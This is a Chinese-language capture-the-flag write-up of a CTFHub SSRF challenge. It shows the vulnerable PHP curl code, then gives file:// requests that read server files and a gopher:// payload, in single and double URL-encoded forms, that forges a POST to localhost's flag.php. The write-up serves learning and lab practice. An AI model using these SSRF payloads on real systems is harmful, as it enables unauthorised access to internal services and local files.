ctfhub:ssrf中的post题
开始通过尝试访问:
view-source:http://challenge-c2ada75a64aad599.sandbox.ctfhub.com:10080/?url=file:///var/www/html/index.php
ctrl+u查看网页代码获得
<?php
error_reporting(0);
if (!isset($_REQUEST['url'])) { //判断传进来的url是否为空
header("Location: /?url=_");
exit;
}
$ch = curl_init();
//初始化新的会话,返回 cURL 句柄,供curl_setopt()、 curl_exec() 和 curl_close() 函数使用。
curl_setopt($ch, CURLOPT_URL, $_REQUEST['url']);//设置URL到CURLOPT_URL
curl_setopt($ch, CURLOPT_HEADER, 0);//是否输出头信息到屏幕
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);//值被设置为1时将会根据服务器返回 HTTP 头中的 "Location: " 来重定向。
curl_exec($ch);// 抓取 URL 并把它传递给浏览器
curl_close($ch);// 关闭 cURL 资源,并且释放系统资源
由于基础差…看到这里有个让我疑惑了许久的问题,curl_exec($ch);网上给的解释是抓取URL并把它传递给浏览器,但在这个题里面抓的url是gopher://…吧,在浏览器中好像不能直接使用gopher协议的吧?
经过多番查阅,终于柳暗花明呐(抹一把辛酸泪),原因即curl_exec()是PHP cURL 中的函数,PHP cURL的函数要用到libcurl库,而libcurl库目前支持http、https、ftp、gopher、telnet、dict、file和ldap协议。如果没理解错的话,libcurl库就相当于php版的简约curl工具了吧。
然后访问:
view-source:http://challenge-c2ada75a64aad599.sandbox.ctfhub.com:10080/?url=file:///var/www/html/flag.php
获得
所以通过提示访问:
view-source:http://challenge-5a48635790814a6b.sandbox.ctfhub.com:10080/?url=127.0.0.1/flag.php
获得key
然后
gopher协议要构造的http包:
gopher://127.0.0.1:80/_POST /flag.php HTTP/1.1
Host:127.0.0.1
Content-Type:application/x-www-form-urlencoded
Content-Length:36
key=60a3e1206aa3977131856f0d5998415b
为解决数据传输过程中的解码问题,因此需要对其进行两次URL转码(因为没有二次编码,半天没出来flag,小伙伴们注意啦!)
一次URL编码(注:第一次编码要把%0a都替换成%0d%0a):
gopher://127.0.0.1:80/_POST%20/flag.php%20HTTP/1.1%0d%0AHost:127.0.0.1%0d%0AContent-Type:application/x-www-form-urlencoded%0d%0AContent-Length:36%0d%0A%0d%0Akey=60a3e1206aa3977131856f0d5998415b%0d%0a
二次URL编码:
gopher://127.0.0.1:80/_POST%2520/flag.php%2520HTTP/1.1%250d%250AHost:127.0.0.1%250d%250AContent-Type:application/x-www-form-urlencoded%250d%250AContent-Length:36%250d%250A%250d%250Akey=60a3e1206aa3977131856f0d5998415b%250d%250a
获得flag
第一次写的不知道算不算wp的wp,改了又改,如有错误,欢迎批评指正。最后,建议看看下面大佬们的文章!
参考文章:
https://blog.csdn.net/Z_Grant/article/details/102913575
https://zhuanlan.zhihu.com/p/112055947
https://xz.aliyun.com/t/6235#toc-11
https://xz.aliyun.com/t/6373#toc-8
https://www.secpulse.com/archives/65832.html
https://blog.csdn.net/bmth666/article/details/104836708